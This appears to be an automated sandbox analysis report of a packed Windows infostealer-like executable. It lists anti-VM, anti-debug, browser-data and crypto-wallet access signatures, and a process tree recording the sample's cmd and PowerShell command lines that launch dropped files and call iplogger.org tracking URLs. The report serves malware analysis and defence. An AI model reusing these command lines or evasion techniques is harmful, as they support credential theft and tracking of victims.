Analysis

  • max time kernel
    87s
  • max time network
    159s
  • platform
    windows7_x64
  • resource
    win7-en-20210916
  • submitted
    20/09/2021, 13:59

General

  • Target
    aa50acd8116fddaaeec779efeab5555a.exe
  • Size 1.6MB
  • Sample210920-rad2xaghhm
  • SHA256 39f5b13c60418f4bcefdd1df075a6fe9e8bd879340c42d12c8a5e636aa035e6d
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 36 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\aa50acd8116fddaaeec779efeab5555a.exe
    "C:\Users\Admin\AppData\Local\Temp\aa50acd8116fddaaeec779efeab5555a.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:592
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c start "" "f.exe" & start "" "wwi.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:912
      • C:\Users\Admin\AppData\Local\Temp\f.exe
        "f.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1644
      • C:\Users\Admin\AppData\Local\Temp\wwi.exe
        "wwi.exe"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Loads dropped DLL
        • Checks whether UAC is enabled
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:564
        • C:\Users\Admin\AppData\Local\Temp\sviss.exe
          "C:\Users\Admin\AppData\Local\Temp\sviss.exe"
          4⤵
          • Executes dropped EXE
          PID:1744
        • C:\Program Files\Internet Explorer\iexplore.exe
          "C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/1IAiS
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1952
          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1952 CREDAT:275457 /prefetch:2
            5⤵
            • Modifies Internet Explorer settings
            • Suspicious use of SetWindowsHookEx
            PID:1880
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1956

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/564-75-0x0000000005160000-0x0000000005161000-memory.dmp

        memory/564-71-0x0000000001150000-0x0000000001151000-memory.dmp

        memory/592-54-0x00000000751A1000-0x00000000751A3000-memory.dmp

        memory/1644-67-0x0000000000C20000-0x0000000000C21000-memory.dmp

        memory/1644-74-0x0000000004D10000-0x0000000004D11000-memory.dmp

        memory/1880-87-0x0000000000C90000-0x0000000000C92000-memory.dmp

        memory/1952-83-0x000007FEFBD21000-0x000007FEFBD23000-memory.dmp

        memory/1952-84-0x0000000002160000-0x0000000002170000-memory.dmp

        memory/1956-78-0x0000000002710000-0x000000000335A000-memory.dmp

        memory/1956-76-0x0000000002710000-0x000000000335A000-memory.dmp

        memory/1956-77-0x0000000002710000-0x000000000335A000-memory.dmp